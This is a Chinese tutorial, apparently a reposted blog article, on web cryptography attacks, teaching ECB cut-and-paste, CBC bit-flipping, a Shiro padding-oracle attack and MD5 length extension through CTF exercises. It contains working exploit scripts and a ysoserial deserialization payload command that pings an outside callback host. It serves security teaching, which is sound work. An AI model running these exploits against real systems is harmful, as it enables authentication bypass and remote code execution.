热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

WEB密码学攻击方式从0到1

 0x1基本概念0x1.1分组密码分组密码又称为分块加密或块加密,是一种对称加密算法,这类算法将明文分成多个等长的组,使用确定的算法和对称秘钥对每组分别加密或解密,常见的算法有DES、3DES、AES

 

0x1基本概念



0x1.1分组密码

分组密码又称为分块加密或块加密,是一种对称加密算法,这类算法将明文分成多个等长的组,使用确定的算法和对称秘钥对每组分别加密或解密,常见的算法有DES、3DES、AES。

0x1.1.1 加密算法

DES需要加密的明文按64位进行分组,加密密钥是根据用户输入的秘钥生成的,密钥长64位,但密钥事实上是56位参与DES运算(第8、16、24、32、40、48、56、64位是校验位, 使得每个密钥都有奇数个1,在计算密钥时要忽略这8位),分组后的明文组和56位的密钥按位替代或交换的方法形成密文组的加密方法。

DES算法加密流程 :
(1)输入64位明文数据,并进行初始置换IP;
(2)在初始置换IP后,明文数据再被分为左右两部分,每部分32位,以L0,R0表示;
(3)在秘钥的控制下,经过16轮运算(f);
(4)16轮后,左、右两部分交换,并连接再一起,再进行逆置换;
(5)输出64位密文。

1

由于DES密码长度容易被暴力破解,所以3DES算法通过对DES算法进行改进,增加DES的密钥长度来避免类似的攻击,针对每个数据块进行三次DES加密;因此,3DES加密算法并非什么新的加密算法,是DES的一个更安全的变形,它以DES为基本模块,通过组合分组方法设计出分组加密算法。
该算法的加解密过程分别是对明文数据进行三次DES加密或解密,得到明文。

2

AES(Advanced Encryption Standard),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种分组加密标准。这个标准用来替代原先的DES。在AES标准规范中,分组长度只能是128位,也就是说,每个分组为16个字节(每个字节8位)。密钥的长度可以使用128位、192位或256位。密钥的长度不同,推荐加密轮数也不同。

AES加密过程涉及到4种操作:字节替代、行移位、列混淆和轮密钥加。

3

0x1.1.2 分组模式

在分组加密算法中,有ECB,CBC,CFB,OFB,CTR这几种算法模式。这里就对常见的ECB和CBC模式简单介绍。

ECB 模式全称为电子密码本模式(Electronic codebook),在ECB模式中,将明文分组加密之后的结果将直接成为密文分组。
ECB加密:

4

ECB解密:

5

CBC 全称为密码分组链接(Cipher-block chaining) 模式。在CBC模式中,首先将明文分组与前一个密文分组进行XOR运算,然后再进行加密。第一个明文分组需要一个初始化向量(IV)进行XOR运算。
CBC加密:

6

CBC解密:

7


0x1.2Hash算法

Hash是把任意长度的输入通过散列算法变换成固定长度的输出,该输出就是散列值。
常见的hash算法有MD5、SHA1、SHA256 、SHA512等。

9

MD5 算法的输入为长度小于 2^64 bit 的消息比特串,输出为固定 128 bit 的消息散列值,输入数据需要以 512 bit 为单位进行分组。

MD5的实现原理图:

8

MD5实现步骤:
(1)填充bits
如果输入message(bit)对512求余的结果不等于448,就需要填充使其结果等于448。补位二进制是在message的后面加上一个1,后面跟着 n 个0。在 16 进制下,需要在message后补80,就是 2 进制的10000000。填充完后,len(message)mod512=448(bit)。
(2)补充长度
补位之后,用64位来存储填充前信息长度。这64位加在第一步结果的后面。这样len(message)mod512=0。长度是小端存储的,也就是说高字节放在高地址中。
例如要对 “hello world”进行填充:”hello world”是11个字母,11 byte (88 bit ),换算成16进制位0x58,其后跟着7个字节的0x00,则:

10

(3)初始化向量
初始链接变量 IV 在最开始存于 4 个 32 bit 的寄存器 A、B、C、D 中,将参与第一个分组单元的哈希运算,它们分别为:

11

(4)复杂的函数运算

 

0x2 攻击方式



0x2.1ECB模式攻击

因为每个分组都是独自加解密的,所以在不知道秘钥的情况下,通过修改密文的位置,来改变部分明文,达到攻击效果。

例题:
cbc.php

//php7
function AES($data){
$privateKey = "12345678123456781234567812345678";
$encrypted=openssl_encrypt($data,'AES-128-ECB',$privateKey,OPENSSL_RAW_DATA);
#$encrypted = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $privateKey, $data, MCRYPT_MODE_ECB);
$encryptedData = (base64_encode($encrypted));
return $encryptedData;
}
function DE__AES($data){
$privateKey = "12345678123456781234567812345678";
$encryptedData = base64_decode($data);
$decrypted=openssl_decrypt($encryptedData,'AES-128-ECB',$privateKey,OPENSSL_RAW_DATA);
$decrypted = rtrim($decrypted, "") ;
return $decrypted;
}
if (@$_GET['a']=='reg'){
setCOOKIE('uid', AES('9'));
setCOOKIE('username', AES($_POST['username']));
header("Location: http://127.0.0.1/ecb.php");
exit();
}
if (@!isset($_COOKIE['uid'])||@!isset($_COOKIE['username'])){
echo '
Username:




Password:






';
}
else{
$uid = DE__AES($_COOKIE['uid']);
if ( $uid != 4){
echo 'uid:' .$uid .'
';
echo 'Hi ' . DE__AES($_COOKIE['username']) .'
';
echo 'You are not administrator!!';
}
else {
echo "Hi you are administrator!!" .'
';
echo 'Flag is flag{this is flag}';
}
}
?>

解题思路:
以正确的 administrator uid登陆就能得到flag, username和uid都是经过ECB加密,且返回在COOKIE中,username是可控的,题目使用的是AES-128-ECB,以16字节为一组加解密,通过注册17字节的用户,多出来的1字节为另外一分组,则可以控制生成我们想要的uid密文。

exp

import urllib
import urllib2
import base64
import COOKIElib
import COOKIE
for num in range(1,50):
reg_url='http://127.0.0.1/ecb.php?a=reg'
index_url='http://127.0.0.1/ecb.php'
COOKIE=COOKIElib.COOKIEJar()
opener=urllib2.build_opener(urllib2.HTTPCOOKIEProcessor(COOKIE))
opener.addheaders.append(('User-Agent','Mozilla/4.5'))
num=str(num)
values={'username':'yyyyyyyyyyyyyyyy'+num,'password':'123'}
data=urllib.urlencode(values)
opener.open(reg_url,data)
text=opener.open(index_url,data)
for ck in COOKIE:
if ck.name=='username':
user_name=ck.value
user_name = urllib.unquote(user_name)
user_name = base64.b64decode(user_name)
hex_name = user_name.encode('hex')
hex_name = hex_name[len(hex_name)/2:]
hex_name = hex_name.decode('hex')
uid = base64.b64encode(hex_name)
uid = urllib.quote(uid)
for ck in COOKIE:
if ck.name=='uid':
ck.value=uid
text=opener.open(index_url).read()
if 'Flag' in text:
print text
break
else:
print num


0x2.2CBC模式攻击

0x2.2.1CBC 字节翻转攻击

CBC模式依赖于前一个密文分组,,可以避免ECB的问题。但还是可以通过修改前一个密文分组改变解密后的明文分组,可以将前一个密文分组中的任意比特进行修改(0,1进行互换,也可以叫翻转)

密文通过block cipher encryption解密,得到中间密文,中间密文与IV(或前一个密文区块)异或后得到的是明文,因此可以通过攻击IV,来改变最终的明文。

IV的值该如何修改?可以简单的推理一下。
解密过程中,因为中间密文 ^ 原始IV = 原始明文 ,所以中间密文=原始IV^原始明文。我们想要的伪造明文=中间密文^伪造IV = 原始IV^原始明文^伪造IV,可以推出伪造IV=原始IV^原始明文^伪造明文。随意我们只要知道原始IV和原始明文这两个值,就可以伪造解密后的结果。

举例:
密文1[4]的意思是密文1字符串第4个字节,相当于数组下标。
设:密文1[4] = A,中间密文2[4] = B,明文2[4] = C
因为A ^ B = C,根据结论有B = A ^ C
当人为修改A=A ^ C时,那么A ^ B = A ^ C ^ B = B ^ B = 0,这样明文2[4]的结果就为0了
当人为修改A=A ^ C ^ x (x为任意数值)时,那么
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这是明文2[4] = x,这样就达到了控制明文某个字节的目的了。

例题:
cbc.php

error_reporting(0);
include("flag.php");
$iv = 'NGY0MWVlOGE2MGU4NTkxMQ==';
function decode($str,$key,$iv)
{
return openssl_decrypt(base64_decode($str),"AES-128-CBC",$key,OPENSSL_RAW_DATA,base64_decode($iv));
}
function encode($str,$key,$iv)
{
return base64_encode(openssl_encrypt($str,"AES-128-CBC",$key,OPENSSL_RAW_DATA, base64_decode($iv)));
}
if(isset($_COOKIE['username']) && isset($_COOKIE['iv'])){
if(decode($_COOKIE['username'],$key,$_COOKIE['iv']) === "admin"){
echo "hello admin
";
echo $flag."
";
}
else if(decode($_COOKIE['username'],$key,$_COOKIE['iv']) === "guest"){
echo "hello guest
";
}
else {
echo "iv or username error";
}
}
else{
$enc = encode("guest",$key,$iv);
setCOOKIE('username',$enc);
setCOOKIE('iv',$iv);
}
highlight_file(__file__);
?>

flag.php

$key = "8bd54bcfe6a23fc0";
$flag = "flag{this_is_flag}";
?>

解题思路:

可以得到IV值和原始明文 “guest”,从源码中知,只要伪造明文 “admin”,即可得到flag,计算伪造IV值

import base64
iv = base64.b64decode('NGY0MWVlOGE2MGU4NTkxMQ==')
admin = 'admin' + '\x0b'*11
guest = 'guest' + '\x0b'*11
new_iv = ''
for i in range(len(admin)):
new_iv += chr(ord(iv[i]) ^ ord(admin[i]) ^ ord(guest[i]))
print base64.b64encode(new_iv)
# Mnc8K39lOGE2MGU4NTkxMQ==

12

0x2.2.2CBC Padding Oracle 攻击

在Padding Oracle Attack攻击中,攻击者输入的参数是IV和Cipher,要通过对IV的”穷举”来请求服务器端对指定的Cipher进行解密,并对返回的结果进行判断,猜解出正确的中间密文,得到中间密文后,就可以伪造IV来伪造明文。

利用条件:


  1. 攻击者知道密文和初始向量IV

  2. padding错误和padding正确服务器可返回不一样的状态

以Shiro padding oracle 为例:

Shiro的 RememberMe 使用 AES-128-CBC 模式加密,容易受到 Padding Oracle 攻击,AES 的初始化向量 IV 就是COOKIE的 rememberMe base64 解码后的前16个字。

Shrio要有Oracle Padding漏洞,有填充提示


  • 接受正确的密文(填充正确包含合法值),应用程序返回HTTP 200

  • 接受非法的密文(解密后填充不正确),应用程序返回HTTP 500,返回框架错误页面

  • 接受合法的密文(填充正确,值不合法),应用程序显示自定义错误HTTP 200,但是有返回自定义错误页面

实际上不是原本的请求,都不满足第一条,所以只要填充正确和填充不正确返回不同就可以了。

漏洞环境搭建

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

1.登录 Shiro 测试账户获取合法 COOKIE(勾选Remember Me)

16

2.生成java payload

java -jar ysoserial.jar CommonsBeanutils1 "ping awa4xw.ceye.io" > payload.class

3.执行exp,经过了几十分钟的爆破,得到padding oracle attack后的COOKIE

python2 shiro_exp.py http://192.168.247.130:8080/ NqoZZVVnFvBxH0m7tavNPhx2H2mPLucccvcuM3WSSIQIWyksw3xnNG70MWsSy+TFCUZEkiQSdV38fTmfJgsuEJPFLUrVQUwDkZ+disZ5k1auCE2swMsLE7cUxDykdPk79k6Q0k6N8rZpszd/1+F6uoA8PDH9zaYt7RwXUS2z+JKFV30Cl7h0zZvlKYK98DrITFX8sW0Z/veIgh6G3ljIAIo6CgRUKMwYsi1dfD+HeE5qxTpofOfyuUnkguzY//gvEahmxWy85qMBgSchENUn+aKOFWnrtEvTQ3bOhN3T5Lb2zz0waCSpFEyC+tBDYxUWiiANjJnkUf/KtOZ/tQheAjZezmBymL5qOQJPMaVuGyQtX7AGIhn3r3wrLdQsCog4NzCM5EcaNV4zuGEXL4Mfnk0xh7Lv4O04c931gCRM6zv5hB743NwjdO72hc1TcC/CYLRjfs5rUWHerNClnBJhw5h+pQuJdZ0qsv95aC0Qeh4ywpQKELPfpbuZNEd1zt75 payload.class

17

4.复制该COOKIE,然后重放一下数据库,即可成功执行命令

18

19


0x2.3Hash长度扩展攻击

Hash长度扩展攻击可以在知道HASH(message(salt+data))的hash值得情况下,算出HASH(message+padding+a)的hash值,就是根据短的消息的hash算出更长的消息的hash。
利用条件:


  1. 知道salt的长度

  2. 要知道一个由salt加密后的hash值

  3. 知道data的值(未加盐的明文)

例题:

hash.php

include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setCOOKIE("verify", enc("guest"), time()+60*60*24*7);
setCOOKIE("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);

secret.php

$key='123456789qwertyuiopasdfghjklzxcvbnm12345671475';
$flag='flag{this_1s_a_f1ag}';
?>

解题思路:
可以得到enc(“guest”)的值 ,$key的长度为46,要求我们输入的username在经过enc函数加密之后,与$_COOKIE[‘verify’]的值相等,并且username中必须含有admin。

使用hashdump工具

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

用法

Input Signature: 已知的hash值
Input Data: 上面的hash值解密后的字符串
Input Key Length: $key的长度
Input Data to Add: 想要添加的数据

20

将hash值去替换$_COOKIE[‘verify’]的值,然后post提交

username=guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin即可。

21

 

0x3 总结

这里简单介绍了常见的WEB密码学攻击方式,如有错误的地方欢迎指正。

参考链接:
https://ciphersaw.me/2017/11/12/Hash%20Length%20Extension%20Attack%EF%BC%88%E5%93%88%E5%B8%8C%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB%EF%BC%89/
https://www.anquanke.com/post/id/84724
https://www.freebuf.com/articles/web/15504.html


推荐阅读
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
  • PHP图片截取方法及应用实例
    本文介绍了使用PHP动态切割JPEG图片的方法,并提供了应用实例,包括截取视频图、提取文章内容中的图片地址、裁切图片等问题。详细介绍了相关的PHP函数和参数的使用,以及图片切割的具体步骤。同时,还提供了一些注意事项和优化建议。通过本文的学习,读者可以掌握PHP图片截取的技巧,实现自己的需求。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • .NetCoreWebApi生成Swagger接口文档的使用方法
    本文介绍了使用.NetCoreWebApi生成Swagger接口文档的方法,并详细说明了Swagger的定义和功能。通过使用Swagger,可以实现接口和服务的可视化,方便测试人员进行接口测试。同时,还提供了Github链接和具体的步骤,包括创建WebApi工程、引入swagger的包、配置XML文档文件和跨域处理。通过本文,读者可以了解到如何使用Swagger生成接口文档,并加深对Swagger的理解。 ... [详细]
  • 本文介绍了NetCore WebAPI开发的探索过程,包括新建项目、运行接口获取数据、跨平台部署等。同时还提供了客户端访问代码示例,包括Post函数、服务器post地址、api参数等。详细讲解了部署模式选择、框架依赖和独立部署的区别,以及在Windows和Linux平台上的部署方法。 ... [详细]
  • 【爬虫】关于企业信用信息公示系统加速乐最新反爬虫机制
    ( ̄▽ ̄)~又得半夜修仙了,作为一个爬虫小白,花了3天时间写好的程序,才跑了一个月目标网站就更新了,是有点悲催,还是要只有一天的时间重构。升级后网站的层次结构并没有太多变化,表面上 ... [详细]
  • 一.常见基于身份识别进行反爬1通过headers字段来反爬headers中有很多字段,这些字段都有可能会被对方服务器拿过来进行判断是否为爬虫1.1通过headers中的User-A ... [详细]
  • Java大文件HTTP断点续传到服务器该怎么做?
    最近由于笔者所在的研发集团产品需要,需要支持高性能的大文件http上传,并且要求支持http断点续传。这里在简要归纳一下,方便记忆 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • 本文介绍了RxJava在Android开发中的广泛应用以及其在事件总线(Event Bus)实现中的使用方法。RxJava是一种基于观察者模式的异步java库,可以提高开发效率、降低维护成本。通过RxJava,开发者可以实现事件的异步处理和链式操作。对于已经具备RxJava基础的开发者来说,本文将详细介绍如何利用RxJava实现事件总线,并提供了使用建议。 ... [详细]
  • Android实战——jsoup实现网络爬虫,糗事百科项目的起步
    本文介绍了Android实战中使用jsoup实现网络爬虫的方法,以糗事百科项目为例。对于初学者来说,数据源的缺乏是做项目的最大烦恼之一。本文讲述了如何使用网络爬虫获取数据,并以糗事百科作为练手项目。同时,提到了使用jsoup需要结合前端基础知识,以及如果学过JS的话可以更轻松地使用该框架。 ... [详细]
  • 本文介绍了Web开发人员的输出缓冲的概念和优势,以及如何使用输出缓冲来减少下载和呈现HTML所需的时间。同时,还解决了在设置Cookie时可能遇到的问题。初学者可以通过使用输出缓冲将整个HTML页面作为一个变量来处理,从而更好地掌握Web开发。 ... [详细]
author-avatar
古韵卡次
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有